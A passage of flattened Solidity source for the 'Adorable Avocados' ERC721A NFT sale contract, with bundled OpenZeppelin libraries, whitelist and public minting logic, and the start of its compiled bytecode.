{Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } /** * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Enumerable is IERC721 { /** * @dev Returns the total amount of tokens stored by the contract. */ function totalSupply() external view returns (uint256); /** * @dev Returns a token ID owned by `owner` at a given `index` of its token list. * Use along with {balanceOf} to enumerate all of ``owner``'s tokens. */ function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId); /** * @dev Returns a token ID at a given `index` of all the tokens stored by the contract. * Use along with {totalSupply} to enumerate all tokens. */ function tokenByIndex(uint256 index) external view returns (uint256); } // File: @openzeppelin/contracts/utils/introspection/ERC165.sol /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // File: @openzeppelin/contracts/token/ERC721/ERC721.sol error ApprovalCallerNotOwnerNorApproved(); error ApprovalQueryForNonexistentToken(); error ApproveToCaller(); error ApprovalToCurrentOwner(); error BalanceQueryForZeroAddress(); error MintedQueryForZeroAddress(); error BurnedQueryForZeroAddress(); error MintToZeroAddress(); error MintZeroQuantity(); error OwnerIndexOutOfBounds(); error OwnerQueryForNonexistentToken(); error TokenIndexOutOfBounds(); error TransferCallerNotOwnerNorApproved(); error TransferFromIncorrectOwner(); error TransferToNonERC721ReceiverImplementer(); error TransferToZeroAddress(); error URIQueryForNonexistentToken(); /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata and Enumerable extension. Built to optimize for lower gas during batch mints. * * Assumes serials are sequentially minted starting at 0 (e.g. 0, 1, 2, 3..). * * Assumes that an owner cannot have more than 2**64 - 1 (max value of uint64) of supply. * * Assumes that the maximum token id cannot exceed 2**128 - 1 (max value of uint128). */ contract ERC721A is Context, ERC165, IERC721, IERC721Metadata, IERC721Enumerable { using Address for address; using Strings for uint256; // Compiler will pack this into a single 256bit word. struct TokenOwnership { // The address of the owner. address addr; // Keeps track of the start time of ownership with minimal overhead for tokenomics. uint64 startTimestamp; // Whether the token has been burned. bool burned; } // Compiler will pack this into a single 256bit word. struct AddressData { // Realistically, 2**64-1 is more than enough. uint64 balance; // Keeps track of mint count with minimal overhead for tokenomics. uint64 numberMinted; // Keeps track of burn count with minimal overhead for tokenomics. uint64 numberBurned; } // Compiler will pack the following // _currentIndex and _burnCounter into a single 256bit word. // The tokenId of the next token to be minted. uint128 internal _currentIndex; // The number of tokens burned. uint128 internal _burnCounter; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to ownership details // An empty struct value does not necessarily mean the token is unowned. See ownershipOf implementation for details. mapping(uint256 => TokenOwnership) internal _ownerships; // Mapping owner address to address data mapping(address => AddressData) private _addressData; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev See {IERC721Enumerable-totalSupply}. */ function totalSupply() public view override returns (uint256) { // Counter underflow is impossible as _burnCounter cannot be incremented // more than _currentIndex times unchecked { return _currentIndex - _burnCounter; } } /** * @dev See {IERC721Enumerable-tokenByIndex}. * This read function is O(totalSupply). If calling from a separate contract, be sure to test gas first. * It may also degrade with extremely large collection sizes (e.g >> 10000), test for your use case. */ function tokenByIndex(uint256 index) public view override returns (uint256) { uint256 numMintedSoFar = _currentIndex; uint256 tokenIdsIdx; // Counter overflow is impossible as the loop breaks when // uint256 i is equal to another uint256 numMintedSoFar. unchecked { for (uint256 i; i < numMintedSoFar; i++) { TokenOwnership memory ownership = _ownerships[i]; if (!ownership.burned) { if (tokenIdsIdx == index) { return i; } tokenIdsIdx++; } } } revert TokenIndexOutOfBounds(); } /** * @dev See {IERC721Enumerable-tokenOfOwnerByIndex}. * This read function is O(totalSupply). If calling from a separate contract, be sure to test gas first. * It may also degrade with extremely large collection sizes (e.g >> 10000), test for your use case. */ function tokenOfOwnerByIndex(address owner, uint256 index) public view override returns (uint256) { if (index >= balanceOf(owner)) revert OwnerIndexOutOfBounds(); uint256 numMintedSoFar = _currentIndex; uint256 tokenIdsIdx; address currOwnershipAddr; // Counter overflow is impossible as the loop breaks when // uint256 i is equal to another uint256 numMintedSoFar. unchecked { for (uint256 i; i < numMintedSoFar; i++) { TokenOwnership memory ownership = _ownerships[i]; if (ownership.burned) { continue; } if (ownership.addr != address(0)) { currOwnershipAddr = ownership.addr; } if (currOwnershipAddr == owner) { if (tokenIdsIdx == index) { return i; } tokenIdsIdx++; } } } // Execution should never reach this point. revert(); } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view override returns (uint256) { if (owner == address(0)) revert BalanceQueryForZeroAddress(); return uint256(_addressData[owner].balance); } function _numberMinted(address owner) internal view returns (uint256) { if (owner == address(0)) revert MintedQueryForZeroAddress(); return uint256(_addressData[owner].numberMinted); } function _numberBurned(address owner) internal view returns (uint256) { if (owner == address(0)) revert BurnedQueryForZeroAddress(); return uint256(_addressData[owner].numberBurned); } /** * Gas spent here starts off proportional to the maximum mint batch size. * It gradually moves to O(1) as tokens get transferred around in the collection over time. */ function ownershipOf(uint256 tokenId) internal view returns (TokenOwnership memory) { uint256 curr = tokenId; unchecked { if (curr < _currentIndex) { TokenOwnership memory ownership = _ownerships[curr]; if (!ownership.burned) { if (ownership.addr != address(0)) { return ownership; } // Invariant: // There will always be an ownership that has an address and is not burned // before an ownership that does not have an address and is not burned. // Hence, curr will not underflow. while (true) { curr--; ownership = _ownerships[curr]; if (ownership.addr != address(0)) { return ownership; } } } } } revert OwnerQueryForNonexistentToken(); } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view override returns (address) { return ownershipOf(tokenId).addr; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { if (!_exists(tokenId)) revert URIQueryForNonexistentToken(); string memory baseURI = _baseURI(); return bytes(baseURI).length != 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ''; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ''; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public override { address owner = ERC721A.ownerOf(tokenId); if (to == owner) revert ApprovalToCurrentOwner(); if (_msgSender() != owner && !isApprovedForAll(owner, _msgSender())) { revert ApprovalCallerNotOwnerNorApproved(); } _approve(to, tokenId, owner); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view override returns (address) { if (!_exists(tokenId)) revert ApprovalQueryForNonexistentToken(); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public override { if (operator == _msgSender()) revert ApproveToCaller(); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ''); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { _transfer(from, to, tokenId); if (!_checkOnERC721Received(from, to, tokenId, _data)) { revert TransferToNonERC721ReceiverImplementer(); } } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), */ function _exists(uint256 tokenId) internal view returns (bool) { return tokenId < _currentIndex && !_ownerships[tokenId].burned; } function _safeMint(address to, uint256 quantity) internal { _safeMint(to, quantity, ''); } /** * @dev Safely mints `quantity` tokens and transfers them to `to`. * * Requirements: * * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called for each safe transfer. * - `quantity` must be greater than 0. * * Emits a {Transfer} event. */ function _safeMint( address to, uint256 quantity, bytes memory _data ) internal { _mint(to, quantity, _data, true); } /** * @dev Mints `quantity` tokens and transfers them to `to`. * * Requirements: * * - `to` cannot be the zero address. * - `quantity` must be greater than 0. * * Emits a {Transfer} event. */ function _mint( address to, uint256 quantity, bytes memory _data, bool safe ) internal { uint256 startTokenId = _currentIndex; if (to == address(0)) revert MintToZeroAddress(); if (quantity == 0) revert MintZeroQuantity(); _beforeTokenTransfers(address(0), to, startTokenId, quantity); // Overflows are incredibly unrealistic. // balance or numberMinted overflow if current value of either + quantity > 3.4e38 (2**128) - 1 // updatedIndex overflows if _currentIndex + quantity > 3.4e38 (2**128) - 1 unchecked { _addressData[to].balance += uint64(quantity); _addressData[to].numberMinted += uint64(quantity); _ownerships[startTokenId].addr = to; _ownerships[startTokenId].startTimestamp = uint64(block.timestamp); uint256 updatedIndex = startTokenId; for (uint256 i; i < quantity; i++) { emit Transfer(address(0), to, updatedIndex); if (safe && !_checkOnERC721Received(address(0), to, updatedIndex, _data)) { revert TransferToNonERC721ReceiverImplementer(); } updatedIndex++; } _currentIndex = uint128(updatedIndex); } _afterTokenTransfers(address(0), to, startTokenId, quantity); } /** * @dev Transfers `tokenId` from `from` to `to`. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) private { TokenOwnership memory prevOwnership = ownershipOf(tokenId); bool isApprovedOrOwner = (_msgSender() == prevOwnership.addr || isApprovedForAll(prevOwnership.addr, _msgSender()) || getApproved(tokenId) == _msgSender()); if (!isApprovedOrOwner) revert TransferCallerNotOwnerNorApproved(); if (prevOwnership.addr != from) revert TransferFromIncorrectOwner(); if (to == address(0)) revert TransferToZeroAddress(); _beforeTokenTransfers(from, to, tokenId, 1); // Clear approvals from the previous owner _approve(address(0), tokenId, prevOwnership.addr); // Underflow of the sender's balance is impossible because we check for // ownership above and the recipient's balance can't realistically overflow. // Counter overflow is incredibly unrealistic as tokenId would have to be 2**128. unchecked { _addressData[from].balance -= 1; _addressData[to].balance += 1; _ownerships[tokenId].addr = to; _ownerships[tokenId].startTimestamp = uint64(block.timestamp); // If the ownership slot of tokenId+1 is not explicitly set, that means the transfer initiator owns it. // Set the slot of tokenId+1 explicitly in storage to maintain correctness for ownerOf(tokenId+1) calls. uint256 nextTokenId = tokenId + 1; if (_ownerships[nextTokenId].addr == address(0)) { // This will suffice for checking _exists(nextTokenId), // as a burned slot cannot contain the zero address. if (nextTokenId < _currentIndex) { _ownerships[nextTokenId].addr = prevOwnership.addr; _ownerships[nextTokenId].startTimestamp = prevOwnership.startTimestamp; } } } emit Transfer(from, to, tokenId); _afterTokenTransfers(from, to, tokenId, 1); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { TokenOwnership memory prevOwnership = ownershipOf(tokenId); _beforeTokenTransfers(prevOwnership.addr, address(0), tokenId, 1); // Clear approvals from the previous owner _approve(address(0), tokenId, prevOwnership.addr); // Underflow of the sender's balance is impossible because we check for // ownership above and the recipient's balance can't realistically overflow. // Counter overflow is incredibly unrealistic as tokenId would have to be 2**128. unchecked { _addressData[prevOwnership.addr].balance -= 1; _addressData[prevOwnership.addr].numberBurned += 1; // Keep track of who burned the token, and the timestamp of burning. _ownerships[tokenId].addr = prevOwnership.addr; _ownerships[tokenId].startTimestamp = uint64(block.timestamp); _ownerships[tokenId].burned = true; // If the ownership slot of tokenId+1 is not explicitly set, that means the burn initiator owns it. // Set the slot of tokenId+1 explicitly in storage to maintain correctness for ownerOf(tokenId+1) calls. uint256 nextTokenId = tokenId + 1; if (_ownerships[nextTokenId].addr == address(0)) { // This will suffice for checking _exists(nextTokenId), // as a burned slot cannot contain the zero address. if (nextTokenId < _currentIndex) { _ownerships[nextTokenId].addr = prevOwnership.addr; _ownerships[nextTokenId].startTimestamp = prevOwnership.startTimestamp; } } } emit Transfer(prevOwnership.addr, address(0), tokenId); _afterTokenTransfers(prevOwnership.addr, address(0), tokenId, 1); // Overflow not possible, as _burnCounter cannot be exceed _currentIndex times. unchecked { _burnCounter++; } } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve( address to, uint256 tokenId, address owner ) private { _tokenApprovals[tokenId] = to; emit Approval(owner, to, tokenId); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver(to).onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert TransferToNonERC721ReceiverImplementer(); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before a set of serially-ordered token ids are about to be transferred. This includes minting. * And also called before burning one token. * * startTokenId - the first token id to be transferred * quantity - the amount to be transferred * * Calling conditions: * * - When `from` and `to` are both non-zero, `from`'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, `tokenId` will be burned by `from`. * - `from` and `to` are never both zero. */ function _beforeTokenTransfers( address from, address to, uint256 startTokenId, uint256 quantity ) internal virtual {} /** * @dev Hook that is called after a set of serially-ordered token ids have been transferred. This includes * minting. * And also called after one token has been burned. * * startTokenId - the first token id to be transferred * quantity - the amount to be transferred * * Calling conditions: * * - When `from` and `to` are both non-zero, `from`'s `tokenId` has been * transferred to `to`. * - When `from` is zero, `tokenId` has been minted for `to`. * - When `to` is zero, `tokenId` has been burned by `from`. * - `from` and `to` are never both zero. */ function _afterTokenTransfers( address from, address to, uint256 startTokenId, uint256 quantity ) internal virtual {} } // File: @openzeppelin/contracts/utils/Strings.sol /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // File: @openzeppelin/contracts/utils/Address.sol /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) private pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File: @openzeppelin/contracts/token/ERC721/IERC721Receiver.sol /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _setOwner(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // OpenZeppelin Contracts v4.4.1 (utils/cryptography/MerkleProof.sol) /** * @dev These functions deal with verification of Merkle Trees proofs. * * The proofs can be generated using the JavaScript library * https://github.com/miguelmota/merkletreejs[merkletreejs]. * Note: the hashing algorithm should be keccak256 and pair sorting should be enabled. * * See `test/utils/cryptography/MerkleProof.test.js` for some examples. */ library MerkleProof { /** * @dev Returns true if a `leaf` can be proved to be a part of a Merkle tree * defined by `root`. For this, a `proof` must be provided, containing * sibling hashes on the branch from the leaf to the root of the tree. Each * pair of leaves and each pair of pre-images are assumed to be sorted. */ function verify( bytes32[] memory proof, bytes32 root, bytes32 leaf ) internal pure returns (bool) { return processProof(proof, leaf) == root; } /** * @dev Returns the rebuilt hash obtained by traversing a Merklee tree up * from `leaf` using `proof`. A `proof` is valid if and only if the rebuilt * hash matches the root of the tree. When processing the proof, the pairs * of leafs & pre-images are assumed to be sorted. * * _Available since v4.4._ */ function processProof(bytes32[] memory proof, bytes32 leaf) internal pure returns (bytes32) { bytes32 computedHash = leaf; for (uint256 i = 0; i < proof.length; i++) { bytes32 proofElement = proof[i]; if (computedHash <= proofElement) { // Hash(current computed hash + current element of the proof) computedHash = _efficientHash(computedHash, proofElement); } else { // Hash(current element of the proof + current computed hash) computedHash = _efficientHash(proofElement, computedHash); } } return computedHash; } function _efficientHash(bytes32 a, bytes32 b) private pure returns (bytes32 value) { assembly { mstore(0x00, a) mstore(0x20, b) value := keccak256(0x00, 0x40) } } } // File: Avocados.sol contract Avocados is ERC721A, Ownable { using Address for address; using Strings for uint256; uint256 public WL_PRICE = 35000000000000000; uint256 public NFT_PRICE = 40000000000000000; uint256 public constant MAX_NFT_PURCHASE = 10; uint256 public constant MAX_NFT_WHITELIST = 4; uint256 public constant MINTABLE_AMOUNT = 7577; uint256 public constant RESERVED_AMOUNT = 200; uint256 public constant MAX_SUPPLY = MINTABLE_AMOUNT + RESERVED_AMOUNT; bytes32 public root; bool public whitelistPhase = false; bool public publicSalePhase = false; string private _baseTokenURI; constructor() ERC721A("Adorable Avocados","AVCDO"){ root = 0x015e002ed68efbada69078c43195cb05c399d551134e6b17268d42925f9c58b8; _baseTokenURI = "https://metadata.adorableavocados.com/"; } function toggleWhitelistPhase() public onlyOwner { whitelistPhase = !whitelistPhase; } function togglePublicSalePhase() public onlyOwner { publicSalePhase = !publicSalePhase; } function airdrop(address to, uint256 quantity) public onlyOwner { uint256 totalSupply = totalSupply(); require(quantity > 0, "Amount too small"); require(quantity <= MAX_NFT_PURCHASE, "Max 10 tokens per trx"); require((totalSupply + quantity) <= MAX_SUPPLY, "Purchase exceeding max supply"); _safeMint(to, quantity); } function mintChecks(uint256 quantity) private view { uint256 totalSupply = totalSupply(); require(quantity > 0, "Amount too small"); require(quantity <= MAX_NFT_PURCHASE, "Max 10 tokens per trx"); require((totalSupply + quantity) <= MINTABLE_AMOUNT, "Purchase exceeding max supply"); } function whitelistMint(uint256 quantity, bytes32[] memory _proof) public payable { require(whitelistPhase, "Can't mint"); require(WL_PRICE * quantity == msg.value, "Sent ether val is incorrect"); require((MAX_NFT_WHITELIST - balanceOf(msg.sender)) >= quantity, "Cant mint that much"); mintChecks(quantity); //whitelist bytes32 leaf = keccak256(abi.encodePacked(msg.sender)); require(MerkleProof.verify(_proof, root, leaf), "Not whitelisted"); _safeMint(msg.sender, quantity); } function mint(uint256 quantity) public payable { require(publicSalePhase, "Can't mint"); require(NFT_PRICE * quantity == msg.value, "Sent ether val is incorrect"); mintChecks(quantity); _safeMint(msg.sender, quantity); } function setRoot(uint256 _root) public onlyOwner { root = bytes32(_root); } function withdraw() public onlyOwner { uint256 balance = address(this).balance; payable(msg.sender).transfer(balance); } function setPrice(uint256 price) public onlyOwner { NFT_PRICE = price; } function setWLPrice(uint256 price) public onlyOwner { WL_PRICE = price; } function getBalance() public view onlyOwner returns (uint256){ return address(this).balance; } function setBaseURI(string memory baseURI_) public onlyOwner { _baseTokenURI = baseURI_; } function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { return string(abi.encodePacked(_baseTokenURI, tokenId.toString(), ".json")); } function numberMinted(address owner) public view returns (uint256) { return _numberMinted(owner); } }
0x6080604052600436106102465760003560e01c8063815d544c11610139578063c87b56dd116100b6578063ebf0c7171161007a578063ebf0c7171461066e578063ec5be62a14610684578063f2f5a7e51461069a578063f2fde38b146106ba578063f5052f51146106da578063f6a5b8e6146106ef57600080fd5b8063c87b56dd146105bd578063d2cab056146105dd578063d85f2740146105f0578063dc33e68114610605578063e985e9c51461062557600080fd5b806395d89b41116100fd57806395d89b4114610540578063a0712d6814610555578063a22cb46514610568578063b62b304014610588578063b88d4fde1461059d57600080fd5b8063815d544c146104b357806384bc98f7146104cd5780638ba4cc3c146104e25780638da5cb5b1461050257806391b7f5ed1461052057600080fd5b806332cb6b0c116101c757806355f804b31161018b57806355f804b3146104285780636352211e14610448578063676dd5631461046857806370a082311461047e578063715018a61461049e57600080fd5b806332cb6b0c1461039f5780633394dd06146103b45780633ccfd60b146103d357806342842e0e146103e85780634f6ccce71461040857600080fd5b806312065fe01161020e57806312065fe01461031f57806318160ddd1461033457806323b872dd146103495780632f745c591461036957806331c3c7a01461038957600080fd5b806301ffc9a71461024b578063020b39cc1461028057806306fdde03146102a3578063081812fc146102c5578063095ea7b3146102fd575b600080fd5b34801561025757600080fd5b5061026b610266366004611ccd565b61070f565b60405190151581526020015b60405180910390f35b34801561028c57600080fd5b50610295600a81565b604051908152602001610277565b3480156102af57600080fd5b506102b861077c565b6040516102779190611d49565b3480156102d157600080fd5b506102e56102e0366004611d5c565b61080e565b6040516001600160a01b039091168152602001610277565b34801561030957600080fd5b5061031d610318366004611d91565b610852565b005b34801561032b57600080fd5b506102956108df565b34801561034057600080fd5b5061029561091a565b34801561035557600080fd5b5061031d610364366004611dbb565b610939565b34801561037557600080fd5b50610295610384366004611d91565b610944565b34801561039557600080fd5b5061029560085481565b3480156103ab57600080fd5b50610295610a3e565b3480156103c057600080fd5b50600b5461026b90610100900460ff1681565b3480156103df57600080fd5b5061031d610a4e565b3480156103f457600080fd5b5061031d610403366004611dbb565b610aab565b34801561041457600080fd5b5061